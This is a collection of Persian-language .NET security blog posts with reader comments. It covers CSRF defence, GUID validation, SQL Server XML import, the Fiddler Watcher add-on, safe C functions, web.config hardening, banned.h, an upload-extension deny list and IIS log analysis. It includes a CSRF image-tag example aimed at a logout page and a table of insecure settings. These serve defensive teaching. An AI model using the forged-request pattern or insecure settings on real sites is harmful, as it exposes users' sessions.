در برنامه خود قسمت Referrer header را بررسی کنید. آیا متد POST رسیده، از سایت شما صادر شده است یا اینکه صفحه‌ای دیگر در سایتی دیگر جعل شده و به برنامه شما ارسال شده است؟ هر چند این روش آنچنان قوی نیست و فایروال‌های جدید یا حتی بعضی از مرورگرها با افزونه‌هایی ویژه، امکان عدم ارسال این قسمت از header درخواست را میسر می‌سازند.

برنامه نویس‌ها نباید مقادیر حساس را از طریق GET requests ارسال کنند. استفاده از روش POST نیز به تنهایی کارآمد نیست و آن‌را باید با random tokens ترکیب کرد تا امکان جعل درخواست منتفی شود. برای مثال استفاده از ViewStateUserKey در ASP.Net . جهت خودکار سازی اعمال این موارد در ASP.Net، اخیرا HTTP ماژول زیر ارائه شده است:
AntiCSRF - A Cross Site Request Forgery (CSRF) module for ASP.NET

تنها کافی است که فایل dll آن در دایرکتوری bin پروژه شما قرار گیرد و در وب کانفیگ برنامه ارجاعی به این ماژول را لحاظ نمائید.

کاری که این نوع ماژول‌ها انجام می‌دهند افزودن نشانه‌هایی اتفاقی (random tokens) به صفحه است که مرورگر آن‌ها را بخاطر نمی‌سپارد و این token به ازای هر سشن و صفحه منحصر بفرد خواهد بود.

برای PHP نیز چنین تلاش‌هایی صورت گرفته است:

/http://csrf.htmlpurifier.org

مراجعی برای مطالعه بیشتر

Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper

Cross-site request forgery

Top 10 2007-Cross Site Request Forgery

CSRF - An underestimated attack method

نظرات خوانندگان

نویسنده: نیما
تاریخ: ۱۳۸۷/۱۱/۰۲ ۱۳:۳۶:۰۰

سلام استاد نصیری
راستشو بگم از مطلبی که گذاشتین خیلی سر درنیوردم.
الان در این کد:<"img src="http://www.example.com/logout.aspx
چه اتفاقی میفته فرض کنید مدیر سیستم از این صفحه بازدید کنه.آیا برای SRC میشه کدهای جاوا نوشت که مثلا اطلاعات سشن رو میل بزنه؟آیا همچین دسترسی به سشن یا کوکی داریم؟
میشه یکمی هم از فرق روشهای Post و Get در این باره بگین؟من فرقشونو در این زمینه متوجه نشدم.
اگر میشه یکم بیشتر (جسارته اما با یه مثال عملی تر) مطلب رو باز کنین
موفق باشید
نیما

نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۱/۰۲ ۱۴:۱۴:۰۰

سلام،
مثال بالا رو میشه در حد یک شوخی قابل تامل درنظر گرفت! شخص با باز کردن این صفحه به صورت خودکار logout می‌شود. نمونه این تصاویر داینامیک رو شاید دیده باشید. مثلا نمایش IP و ISP شما در تصویر امضای اشخاص حاضر در یک فوروم. یا نمایش تصاویر اشعاری که هر بار به صورت پویا تغییر می‌کنند.
کلا src تصویر تزریق شده، توسط مرورگر فراخوانی می‌شود. مرورگر کاری نداره تصویر است یا قرار است یک تصویر پویا باشد. بنابراین این صفحه پویا با سطح دسترسی شما روی سرور و سایت اجرا می‌شود. یعنی به هر آنچه که یوزر شما دسترسی دارد، دسترسی خواهد داشت و یوزر بدون متوجه شدن مطلبی، صفحه‌ای را با دسترسی بالا اجرا می‌کند.

حالت پیش فرض ارسال دیتا در فرم‌های ASP.Net همان متد POST است. از GET گاهی از اوقات در اسکریپت‌های Ajax استفاده می‌شود که خیلی باید مواظب بود. برای مطالعه بیشتر:
http://javascript.about.com/od/ajax/a/ajaxgp.htm

نویسنده: محسن.د
تاریخ: ۱۳۹۱/۰۶/۲۵ ۱۹:۴۰

سلام؛
توی توضیحات مربوط به ماژول این خط رو متوجه نشدم
must ensure your GET requests are idempotent (i.e. the side-effects of multiple identical requests are the same (as for a single request

این یعنی چی ؟
ممنون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۶/۲۵ ۲۰:۱۰

ماژول معرفی شده فقط درخواست‌هایی از نوع Post رو محافظت می‌کنه و برای سایر درخواست‌ها (مثلا درخواست‌های Get) کاربرد ندارد.

نویسنده: علی یگانه مقدم

تاریخ: ۱۳۹۳/۱۱/۰۷ ۲۳:۵

ممنون بابت این مطلب مفید

سوالی که دارم اینه که اگر این ماژول بالا استفاده بشه ما رو از استفاده‌ی Html.AntiForgeryToken بی نیاز می‌کنه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۱/۰۷ ۲۳:۹

این مطلب برای وب فرم‌ها تهیه شد. در ASP.NET MVC نیازی به آن نیست.

عنوان: **تعیین اعتبار یک GUID در دات نت**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۱/۰۷ ۱۹:۰۳:۴۳
آدرس: www.dotnettips.info
برچسب‌ها: Security

GUID

یا Globally unique identifier یک عدد صحیح 128 بیتی است (بنابراین 2 به توان 128 حالت را می‌توان برای آن درنظر گرفت). از لحاظ آماری تولید دو GUID یکسان تقریبا صفر می‌باشد. به همین جهت از آن با اطمینان می‌توان به عنوان یک شناسه منحصربفرد استفاده کرد. برای مثال اگر به لینک‌های دانلود فایل‌ها از سایت مایکروسافت دقت کنید، این نوع GUID ها را به وفور می‌توانید ملاحظه نمائید. یا زمانیکه قرار است فایلی را که بر روی سرور آپلود شده، ذخیره نمائیم، می‌توان نام آن‌را یک GUID درنظر گرفت بدون اینکه نگران باشیم آیا فایل آپلود شده بر روی یکی از فایل‌های موجود overwrite می‌شود یا خیر. یا مثلا استفاده از آن در سناریوی بازیابی کلمه عبور در یک سایت. هنگامیکه کاربری درخواست بازیابی کلمه عبور فراموش شده خود را داد، یک GUID برای آن تولید کرده و به او ایمیل می‌زنیم و در آخر آن‌را در کوئری استرینگی دریافت کرده و با مقدار موجود در دیتابیس مقایسه می‌کنیم. مطمئن هستیم که این عبارت قابل حدس زدن نیست و همچنین یکتا است.

برای تولید GUID ها در دات نت می‌توان مانند مثال زیر عمل کرد و خروجی‌های دلخواهی را با فرمت‌های مختلفی دریافت کرد:

```
System.Guid.NewGuid().ToString() = 81276701-9dd7-42e9-b128-81c762a172ff
System.Guid.NewGuid().ToString("N") = 489ecfc61ee7403988efe8546806c6a2
System.Guid.NewGuid().ToString("D") = 119201d9-84d9-4126-b93f-be6576eedbfd
System.Guid.NewGuid().ToString("B") = {fd508d4b-cbaf-4f1c-894c-810169b1d20c}
System.Guid.NewGuid().ToString("P") = (eee1fe00-7e63-4632-a290-516bfc457f42)
```

تمام این‌ها خیلی هم خوب! اما همان سناریوی مشخص ساختن یک فایل با GUID و یا بازیابی کلمه عبور فراموش شده را درنظر بگیرید. یکی از اصول امنیتی مهم، تعیین اعتبار ورودی کاربر است. چگونه باید یک GUID را به صورت مؤثری تعیین اعتبار کرد و مطمئن شد که کاربر از این راه قصد تزریق اس کیوال را ندارد؟

دو روش برای انجام اینکار وجود دارد

الف) عبارت دریافت شده را به new Guid پاس کنیم. اگر ورودی غیرمعتبر باشد، یک exception تولید خواهد شد.

ب) استفاده از regular expressions جهت بررسی الگوی عبارت وارد شده

پیاده سازی این دو را در کلاس زیر می‌توان ملاحظه نمود:

```
using System;
using System.Text.RegularExpressions;

namespace sample
{
  /// <summary>
  /// بررسی اعتبار یک گوئید
  /// </summary>
  public static class CValidGUID
  {
      /// <summary>
      /// بررسی تعیین اعتبار ورودی
      /// </summary>
      /// <param name="guidString">ورودی</param>
      /// <returns></returns>
      public static bool IsGuid(this string guidString)
      {
          if (string.IsNullOrEmpty(guidString)) return false;

          bool bResult;
          try
          {
              Guid g = new Guid(guidString);
              bResult = true;
          }
          catch
```

```
        {
            bResult = false;
        }

        return bResult;
    }

    /// <summary>
    /// بررسی تعیین اعتبار ورودی
    /// </summary>
    /// <param name="input">ورودی</param>
    /// <returns></returns>
    public static bool IsValidGUID(this string input)
    {
        return !string.IsNullOrEmpty(input) &&
            new Regex(@"^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-
([0-9a-fA-F]){12}\}{0,1})$").IsMatch(input);
    }
  }

}
```

سؤال: آیا متدهای فوق (extension methods) درست کار می‌کنند و واقعا نیاز ما را برآورده خواهند ساخت؟ به همین منظور، آزمایش واحد آن‌ها را نیز تهیه خواهیم کرد:

```
using NUnit.Framework;
using sample;

namespace TestLibrary
{
  [TestFixture]
  public class TestCValidGUID
  {

      /******************************************************************************/
      [Test]
      public void TestIsGuid1()
      {
          Assert.IsTrue("81276701-9dd7-42e9-b128-81c762a172ff".IsGuid());
      }

      [Test]
      public void TestIsGuid2()
      {
          Assert.IsTrue("489ecfc61ee7403988efe8546806c6a2".IsGuid());
      }

      [Test]
      public void TestIsGuid3()
      {
          Assert.IsTrue("{fd508d4b-cbaf-4f1c-894c-810169b1d20c}".IsGuid());
      }

      [Test]
      public void TestIsGuid4()
      {
          Assert.IsTrue("(eee1fe00-7e63-4632-a290-516bfc457f42)".IsGuid());
      }

      [Test]
      public void TestIsGuid5()
      {
          Assert.IsFalse("81276701;9dd7;42e9-b128-81c762a172ff".IsGuid());
      }


      /******************************************************************************/
      [Test]
      public void TestIsValidGUID1()
      {
          Assert.IsTrue("81276701-9dd7-42e9-b128-81c762a172ff".IsValidGUID());
      }

      [Test]
      public void TestIsValidGUID2()
      {
```

```
            Assert.IsTrue("489ecfc61ee7403988efe8546806c6a2".IsValidGUID());
        }

        [Test]
        public void TestIsValidGUID3()
        {
            Assert.IsTrue("{fd508d4b-cbaf-4f1c-894c-810169b1d20c}".IsValidGUID());
        }

        [Test]
        public void TestIsValidGUID4()
        {
            Assert.IsTrue("(eee1fe00-7e63-4632-a290-516bfc457f42)".IsValidGUID());
        }

        [Test]
        public void TestIsValidGUID5()
        {
            Assert.IsFalse("81276701;9dd7;42e9-b128-81c762a172ff".IsValidGUID());
        }
    }

}
```

نتیجه این آزمایش به صورت زیر است:

همانطور که ملاحظه می‌کنید حالت دوم یعنی استفاده از عبارات باقاعده دو حالت را نمی‌تواند بررسی کند (مطابق الگوی بکار گرفته شده که البته قابل اصلاح است)، اما روش معمولی استفاده از new Guid ، تمام فرمت‌های تولید شده توسط دات نت را پوشش می‌دهد.

نمی‌دونم به پادکست علاقه دارید یا نه، ولی محض اطلاع یک سری پادکست در مورد مباحث امنیتی و به خصوص با تکیه بر رمزنگاری اطلاعات از آدرس زیر قابل دریافت است:

Security Now

این مجموعه تا امروز 186 قسمت شده و محض نمونه تعدادی از آن‌ها به شرح زیر هستند:

Security Now 30: Crypto Issues

Security Now 31: Crypto 102

Security Now 33: Symmetric Block Ciphers

Security Now 34: Public Key Cryptography

Security Now 35: Cryptographic Hashes

Security Now 37: Primes and Certificates

عنوان: **دریافت مناسبت‌های سال 1388 از یک فایل XML**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۱۲/۱۷ ۱۳:۴۹:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

همیشه با نزدیک شدن آخر سال، به روز کردن مناسبت‌های تقویم سال بعد ضروری می‌شود. دوستان لینوکسی ما هم در این مورد زحمت کشیده و برنامه‌ای را تهیه کرده‌اند که از آدرس زیر قابل دریافت است:

http://download.gna.org/jalali-calendar/

پس از دریافت برنامه، مناسبت‌های سال 1388 در فایل xml.1388 قابل مشاهده است (با تقدیر و تشکر از زحمات این عزیزان). فرض کنید می‌خواهیم این اطلاعات را به اس کیوال سرور منتقل کنیم.
فرمت این فایل به شکل زیر است:

```
<?xml version="1.0" encoding="UTF-8"?>
<cal1388>
        <day>
  <num>1/1</num>
  <desc>عید نوروز، لحظه تحویل سال:ساعت 15 و 13 دقیقه و 39 ثانیه</desc>
        </day>
</cal1388>
```

حداقل سه راه حل برای انجام اینکار (خواندن فایل xml توسط اس کیوال سرور) موجود است:

راه اول:

```
SELECT '1388' saal,
      X.day.query('num').value('.', 'nVARCHAR(50)') rooz_maah,
      X.day.query('desc').value('.', 'nVARCHAR(max)') tozih
FROM   (
          SELECT CAST(x AS XML)
          FROM   OPENROWSET(
                     BULK
                     'c:\1388.xml',
                     SINGLE_BLOB
                 ) AS T(x)
      ) AS T(x)
      CROSS APPLY x.nodes('cal1388/day') AS X(day);
```

راه دوم:

```
DECLARE @MyXML XML

SELECT @MyXML = CAST(x AS XML)
FROM   OPENROWSET(
          BULK
          'c:\1388.xml',
          SINGLE_BLOB
      ) AS T(x)

SELECT 1388 saal,
      nref.value('num[1]', 'nvarchar(50)') rooz_maah,
      nref.value('desc[1]', 'nvarchar(max)') tozih

FROM   @MyXML.nodes('//day') AS R(nref)
```

راه سوم:

```
DECLARE @MyXML XML
DECLARE @handle INT

SELECT @MyXML = CAST(x AS XML)
FROM   OPENROWSET(
          BULK
          'c:\1388.xml',
          SINGLE_BLOB
      ) AS T(x)

EXEC sp_xml_preparedocument @handle OUTPUT,
    @MyXML

SELECT 1388 saal,
      *
FROM   OPENXML(@handle, '/cal1388/day', 2) WITH
      (num VARCHAR(20), [desc] NVARCHAR(MAX))

EXEC sp_xml_removedocument @handle
```

اکنون که می‌توانیم اطلاعات این فایل را select کنیم، Insert آن ساده است . برای مثال:

```
INSERT INTO tblMonasebat
 (
   saal,
   rooz_mah,
   tozih
 )
SELECT '1388' saal,
      nref.value('num[1]', 'nvarchar(50)') rooz_maah,
      nref.value('desc[1]', 'nvarchar(max)') tozih
FROM   @MyXML.nodes('//day') AS R(nref)
```

بدیهی است امکان مقدار دهی @MyXML به صورت یک رشته که حاوی محتویات فایل است نیز مهیا می‌باشد (بجای خواندن از فایل).

برای مطالعه‌ی بیشتر

XML Support in Microsoft SQL Server 2005

Beginning SQL Server 2005 XML Programming

نظرات خوانندگان

نویسنده: Alex's Blog
تاریخ: ۱۳۸۷/۱۲/۱۸ ۰۸:۵۳:۰۰

ممنون. خیلی بدرد بخور بود. مدتی بود که میخواستم بدونم که چجوری میشه از XML خوند.

نویسنده: Bita
تاریخ: ۱۳۸۷/۱۲/۱۸ ۰۹:۰۳:۰۰

سلام،
خیلی ممنون آقای نصیری بابت به اشتراک گذاشتن.
همیشه شاد و همیشه برقرار باشید. :-)

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۱۲/۲۶ ۱۱:۲۴:۴۸

مناسبت‌های سال 89

http://vahidnasiri.persiangig.com/document/monasebat-89.sql

ماخذ:

http://svn.gna.org/daily/jalali-calendar-snapshot.tar.gz

عنوان: **نگارش جدید CAT.NET ارائه شد**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۱/۰۲ ۲۱:۳۲:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

CAT.NET قبلا در این سایت معرفی شده است. نگارش جدید آن در هفته‌ی قبل ارائه گردید.
دریافت

نگارش قبلی واقعا ناپایدار بود و تقریبا از درون IDE قابل استفاده نبود (مکررا سبب کرش می‌شد) . البته استفاده از دستورات خط فرمان آن، تنها راه استفاده مطمئن و بدون دردسر از آن بود. قبل از نصب این نگارش جدید، حتما نگارش قبلی را ابتدا عزل کنید تا تداخلی حاصل نشود.

عنوان: افزونه‌ی امنیتی کازابلانکا برای Fiddler
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۱/۰۹ ۱۵:۳۴:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

Fiddler
ابزاری است که به صورت یک پروکسی عمل می‌کند و تمام اطلاعات ارسالی و دریافتی از طریق مرورگر وب شما را می‌تواند مونیتور نموده و اطلاعات لازم را به شما ارائه دهد.
برای مثال IE8 ارائه شده و مطابق بررسی‌ها سرعت بارگذاری صفحات در آن اگر کمتر از فایرفاکس نباشد، حداقل برابر یا کمی بیشتر است یا حداقل سرعت آن دوبرابر IE7 گزارش شده. حال شاید این سؤال پیش بیاید که این اندازه گیری‌ها که گاهی در حد میلی ثانیه است چگونه صورت می‌گیرد؟ از چه ابزاری برای این‌کار استفاده می‌کنند؟
یکی از ابزارهای دقیق انجام اینکار استفاده از Fiddler است (شکل زیر).

این برنامه مستقل از مرورگر عمل می‌کند و برای مثال تنظیمات پروکسی فایرفاکس برای استفاده از آن در این صفحه توضیح داده شده است.

اخیرا افزونه‌ای سورس باز برای این برنامه تحت عنوان Casaba Security Watcher ارائه شده است که از آدرس زیر قابل دریافت است:

http://websecuritytool.codeplex.com/

برای نصب آن، دو فایل dll آن‌را که اسمبلی‌های دات نتی هستند، به درون فولدر scripts برنامه فیدلر کپی کرده و سپس برنامه را اجرا کنید. یک tab جدید به فیدلر تحت عنوان security auditor اضافه می‌شود که کار آن بررسی محتوای رد و بدل شده و گوشزد کردن موارد امنیتی مرتبط است:

Fiddler - HTTP Debugging Proxy

File Edit Rules Tools View Help

Web Sessions

#	Result	Protocol
7	200	HTTP
9	200	HTTP
10	200	HTTP
11	200	HTTP
12	200	HTTP
13	200	HTTP
14	200	HTTP
15	200	HTTP
16	200	HTTP
17	200	HTTP
18	200	HTTP
19	200	HTTP
20	200	HTTP
21	200	HTTP
22	200	HTTP
23	200	HTTP
24	200	HTTP
25	200	HTTP
26	200	HTTP
27	200	HTTP
28	200	HTTP
29	200	HTTP
30	301	HTTP
31	200	HTTP
32	200	HTTP
35	200	HTTP

Statistics | Inspectors | AutoResponder | Request Builder | Filters | Security Auditor | Timeline

Config | Results

Watcher by Casaba Security

Alert Filter: Informational

High: 0 , 0

Severity	Session ID	Type	URL
Informational	4	Charset not UTF-8	localhost/todo
Informational	5	Charset not UTF-8	websecuritytoc
Informational	5	Javascript eval() Usage	websecuritytoc

Clear Selected Results (All results if none selected)

Javascript eval() Usage

Risk: Informational

The page at the following URL appears to contain javascript that calls the eval() function:

websecuritytool.codeplex.com/Wiki/View.aspx?title=HowChecksWork&referringTitle=Home

The context was:

1) setTimeout(function()

Capturing | All Processes | 1 / 33 | http://websecuritytool.codeplex.com/ScriptReso

عنوان: **برنامه نویسی امن به زبان C**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۱/۱۲ ۱۴:۴۵:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

اگر سخنان بزرگان برنامه نویسی را مطالعه کرده باشید، یکی از موارد این بود:
" هیچگاه از gets و sprintf استفاده نکنید، در غیر اینصورت شیاطین به زودی به سراغ شما خواهند آمد! (FreeBSD Secure Programming Guidelines) "
به عبارت دیگر استفاده از توابع کتابخانه‌های استاندارد زبان C ، بدون ملاحظات لازم (یا همان برنامه نویسی کلاسیک به زبان C)، منشاء بسیاری از حملات Buffer overrun است، زیرا اکثر این توابع اندازه‌ی بافر یا رشته‌ی ورودی را بررسی نمی‌کنند.
برای رفع این مشکلات که هنوز که هنوز است قربانی می‌گیرد! ، The Safe C Library پدید آمده است. این کتابخانه بر اساس استاندارد ISO TR24731 تهیه گردیده و در آن یک سری توابع مکمل، جهت بالا بردن امنیت برنامه‌های تهیه شده به زبان C مطابق استاندارد ISO/IEC 9899:1999 معرفی شده است.

برای مثال مطابق استاندارد ISO/IEC JTC1 SC22 WG14 N1172 ، تابع نا امن memcpy با تابع امن زیر باید جایگزین شود:

```
errno_t  memcpy_s(void *dest, rsize_t dmax, const void *src, rsize_t smax)
```

مستندات آن‌را در فایل safe_lib_html.tar پس از دریافت کتابخانه می‌توانید مشاهده نمائید.

همچنین اخیرا به عنوان مکمل این مجموعه، یک کتابخانه‌ی ریاضی امن نیز تهیه شده است.

پ.ن.
شبیه به همین مورد در اینترفیس پلاگین‌های IDA-Pro در نگارش‌های اخیر آن اعمال شده است و برنامه نویس را وادار می‌کند که از نمونه‌های معادل امن در آن محیط استفاده کند.

```
//pro.h
// We forbid using dangerous functions in IDA Pro
#ifndef USE_DANGEROUS_FUNCTIONS
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x560  || __BORLANDC__ >= 0x580) // for BCB5 (YH)
#include <stdio.h>
#endif
#undef strcpy
#define strcpy          dont_use_strcpy            // use qstrncpy
#define stpcpy          dont_use_stpcpy            // use qstpncpy
#define strncpy         dont_use_strncpy           // use qstrncpy
#define strcat          dont_use_strcat            // use qstrncat
#define strncat         dont_use_strncat           // use qstrncat
#define gets            dont_use_gets              // use fgets
#define sprintf         dont_use_sprintf           // use qsnprintf
#define snprintf        dont_use_snprintf          // use qsnprintf
#define wsprintfA       dont_use_wsprintf          // use qsnprintf
#endif
```

برای مطالعه بیشتر: The Safe C Library

عنوان: **چک لیست امنیتی تنظیمات web.config در ASP.Net**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۲/۱۱ ۲۲:۰۴:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

خلاصه‌ی جدول زیر یک جمله است: به مهاجم امکان دیباگ برنامه را ندهید!

تنظیمات نا امن	تنظیمات امن
<configuration> <system.web> <sessionState cookieless="UseUri">>	<configuration> <system.web> <sessionState cookieless="UseCookies">>
<configuration> <system.web> <httpCookies httpOnlyCookies="false">>	<configuration> <system.web> <httpCookies httpOnlyCookies="true">>
<configuration> <system.web> <customErrors mode="Off">>	<configuration> <system.web> <customErrors mode="RemoteOnly">>
<configuration> <system.web> <trace enabled="true" localOnly="false">>	<configuration> <system.web> <trace enabled="false" localOnly="true">>
<configuration> <system.web> <compilation debug="true">>	<configuration> <system.web> <compilation debug="false">>

عنوان: **وضعیت آسیب پذیری وب سرورهای مطرح در سال 2008**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۲/۱۸ ۲۱:۳۴:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

به نقل از Secunia که یکی از مراجع بی‌طرف در این زمینه به شمار می‌رود:

Unpatched Secunia advisories	Vulnerabilities	Secunia advisories	Web server
0%	4	5	IIS 6
0%	1	1	IIS 7
10%	23	39	Apache 2.0.x
20%	16	10	Apache 2.2.x

عنوان: banned.h
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۲/۲۶ ۱۱:۰۶:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

مطالبی توسط تیم Security Development Lifecycle مایکروسافت منتشر شده مبنی بر اینکه آن‌ها هم یک سری از توابع استاندارد زبان C را در کدهای جدید خود ممنوع کرده‌اند. مستندات آن‌را در مقاله زیر می‌توانید مشاهده نمائید:

Security Development Lifecycle (SDL) Banned Function Calls

اخیرا فایل header آن نیز مطابق آخرین به روز رسانی‌های مورد استفاده منتشر شده است:

banned.h - list of Microsoft Security Development Lifecycle banned APIs

استفاده از این توابع در کدهای جدید مایکروسافت ممنوع بوده و کدهای قدیمی نیز به مرور اصلاح خواهند شد.

جدیدترین تابعی که به این لیست اضافه شده ، تابع memcpy است که سر منشاء نقایص امنیتی زیر بوده است:

```
MS03-030 (DirectX)
MS03-043 (Messenger Service)
MS03-044 (Help and Support)
MS05-039 (PnP)
MS04-011 (PCT)
MS05-030 (Outlook Express)
CVE-2007-3999 (MIT Kerberos v5)
CVE-2007-4000 (MIT Kerberos v5)
...!
```

```
#pragma deprecated (memcpy, RtlCopyMemory, CopyMemory)
```

در این حالت زمانیکه کد خود را کامپایل نمائید با اخطار زیر مواجه خواهید شد:

```
warning C4995: 'memcpy': name was marked as #pragma deprecated
```

جایگزین آن تابع memcpy_s معرفی شده است و در این حالت کد قدیمی:

```
char dst[32];
memcpy(dst,src,len);
```

باید به کد زیر تبدیل گردد:

```
char dst[32];
memcpy_s(dst,sizeof(dst), src,len);
```

که یک آرگومان بیشتر دارد و آن هم اندازه‌ی بافر مقصد مورد نظر است.

برای مطالعه بیشتر

Please Join me in welcoming memcpy() to the SDL Rogues Gallery

Unsafe at any speed: Memcpy() banished in Redmond

Good hygiene and Banned APIs

A Look Inside the Security Development Lifecycle at Microsoft

نظرات خوانندگان

نویسنده: Novin
تاریخ: ۱۳۸۸/۰۲/۲۶ ۱۱:۳۲:۰۰

مرسی، مفید بود.

نویسنده: پیمان
تاریخ: ۱۳۸۸/۰۲/۲۷ ۱۴:۱۷:۰۰

ممنون از مطالب مفیدتون ...

نویسنده: Anonymous
تاریخ: ۱۳۸۸/۰۲/۲۷ ۲۱:۵۰:۰۰

سلام آقای نصیری
شما ما را معتاد کرده اید!!!
چرا دیر آپدیت میکنید. من هر روز مطالب شما رو می خونم.
هشدار می دهم این دفعه اگر ساعت 9 شب به بعد آپدیت کنید من مجبور می شوم مطالب امروز را فردا بخونم!!!

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۲/۲۷ ۲۲:۳۰:۰۰

:)

عنوان: **مشکل امنیتی FreeTextBox و روش رفع آن**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۳/۱۸ ۲۲:۴۰:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

FreeTextBox

یکی از ادیتورهای متنی بسیار خوب تحت وب ASP.Net است که از نگارش 1 تا 3 و نیم ASP.Net را پشتیبانی می‌کند. به همراه آن یک image gallery هم جهت آپلود تصاویر ارائه می‌شود که بسیار ارزشمند است. اما مشکلی که دارد عدم بررسی پسوند فایل آپلود شده است. به عبارتی خاصیت AcceptedFileTypes آن هنگام آپلود تصاویر بررسی نمی‌شود و می‌تواند مشکلات امنیتی حادی را به وجود آورد (برای مثال شخص بجای تصویر می‌تواند فایل aspx را نیز آپلود کند). راه حلی هم برای آن وجود ندارد. سورس این کامپوننت فقط به خریداران ارائه می‌شود و نگارش مجانی آن بدون سورس است.

اما با استفاده از توانایی‌های موجود در فایل استاندارد global.asax می‌توان روی آپلود تمامی فایل‌ها در برنامه نظارت داشت (نه فقط این یک مورد بلکه سراسر برنامه تحت کنترل قرار می‌گیرد). روش کار به صورت زیر است:

```
protected void Application_BeginRequest(Object sender, EventArgs e)
{
        List<string> toFilter = new List<string> { ".aspx", ".asax", ".asp", ".ashx", ".asmx", ".axd",
".master", ".svc" };
        if (HttpContext.Current != null && HttpContext.Current.Request != null &&
HttpContext.Current.Request.Files != null)
            for (int i = 0; i < HttpContext.Current.Request.Files.Count; i++)
            {
                string fileNamePath = HttpContext.Current.Request.Files[i].FileName.ToLower();
                string name = Path.GetFileName(fileNamePath);
                string ext = Path.GetExtension(fileNamePath);
                if (toFilter.Contains(ext) || name == "web.config")
                {
                    HttpContext.Current.Response.StatusCode = 403; //Forbidden
                    HttpContext.Current.Response.End();
                }
            }
}
```

در این‌جا تمامی فایل‌های آپلودی بررسی شده و اگر پسوند خطرناکی داشتند، یک صفحه forbidden به شخص نمایش داده می‌شود و تمام!

این کد را به صورت Http module هم می‌توان درآورد.

نظرات خوانندگان

نویسنده: ایمان
تاریخ: ۱۳۸۸/۰۳/۱۹ ۱۵:۱۸:۵۱

با سلام و عرض خسته نباشید .
جناب نصیری،وبلاگ (آموزشگاه) بسیار خوبی دارید.کارتون واقعا عالیه.مخصوصا ایده Chm مطالب وبلاگ.
انشالله همیشه موفق باشید

عنوان: **از کجا به وب سرور شما حمله DOS شده است؟**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۳/۲۳ ۱۸:۳۹:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

اگر پیش فرض‌های IIS را تغییر نداده باشید، تمامی اعمال رخ داده در طی یک روز را در یک سری فایل‌های متنی در یکی از آدرس‌های زیر ذخیره می‌کند:

```
IIS 6.0: %windir%\System32\LogFiles\W3SVC<SiteID>
IIS 7.0: %systemDrive%\Inetpub\logfiles
```

اطلاعات فوق العاده ارزشمندی را می‌توان از این لاگ فایل‌های خام بدست آورد. اعم از تعداد بار دقیق مراجعه به صفحات، چه فایل‌هایی مفقود هستند (خطای 404)، کدام صفحات کندترین‌های سایت شما را تشکیل می‌دهند و الی آخر.
مایکروسافت برای آنالیز این لاگ فایل‌ها (که محدود به IIS هم نیست) ابزاری را ارائه داده به نام LogParser که این امکان را به شما می‌دهد تا از فایل‌های CSV مانند با استفاده از عبارات SQL کوئری بگیرید (چیزی شبیه به پروایدرهای LINQ البته در سال‌های 2005 و قبل از آن).
یکی از کاربردهای این ابزار، بررسی‌های امنیتی است.

سؤال؟ چگونه متوجه شوم کدام کامپیوتر در شبکه اقدام به حمله DOS کرده و سرور را دارد از پا در می‌آورد؟
از آنجائیکه در لاگ‌های IIS دقیقا IP تمامی درخواست‌ها ثبت می‌شود، با آنالیز این فایل ساده متنی می‌توان اطلاعات لازم را بدست آورد.

```
logparser.exe -i:iisw3c "select top 25 count(*) as HitCount, c-ip from
C:\WINDOWS\system32\LogFiles\W3SVC1\*.log group by c-ip order by HitCount DESC" -rtp:-1 > top25-ip.txt
```

دستور خط فرمان فوق، یک کوئری SQL را بر روی تمامی لاگ فایل‌های قرار گرفته در مسیر یاد شده اجرا کرده و نتیجه را در یک فایل متنی ذخیره می‌کند.
به این صورت می‌توان دقیقا متوجه شد که از کدام IP مشغول به زانو درآوردن سرور هستند.

اگر به این ابزار علاقمند شدید مطالعه مقاله زیر توصیه می‌شود:
Using LogParser 2.2 to Parse IIS Logs and Other Logs

عنوان: **تنظیمات امنیتی SMTP Server متعلق به IIS 6.0 جهت قرارگیری بر روی اینترنت**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۰۵/۰۵ ۱۴:۴۸:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

فرض کنید یک سرور را بر روی اینترنت قرار داده‌اید و از SMTP Server متعلق به IIS قصد دارید جهت ارسال ایمیل توسط برنامه‌های خود استفاده نمائید. در این حالت مواردی را باید رعایت نمود تا این سرور تبدیل به سرور رایگان ارسال spam توسط "دشمنان" نشود.

1- پورت پیش فرض را عوض کنید

پورت پیش فرض اتصال به SMTP Server مساوی 25 است. از آنجائیکه به سادگی در برنامه‌های خود می‌توان این پورت را نیز تنظیم نمود، بهتر است به عنوان اولین قدم، این پورت را تغییر داد. یک شماره پورت دلخواه خالی را یافته و بجای 25 قرار دهید.

برای این منظور مسیر زیر را طی کنید:

بر روی Default SMTP Virtual Server در کنسول IIS کلیک راست کرده و گزینه خواص را انتخاب کنید. در برگه General روی دکمه Advanced کلیک کرده و در صفحه باز شده سطر مربوط به پورت 25 را یافته، بر روی دکمه Edit کلیک نموده و آن‌را به عددی دیگر تغییر دهید.

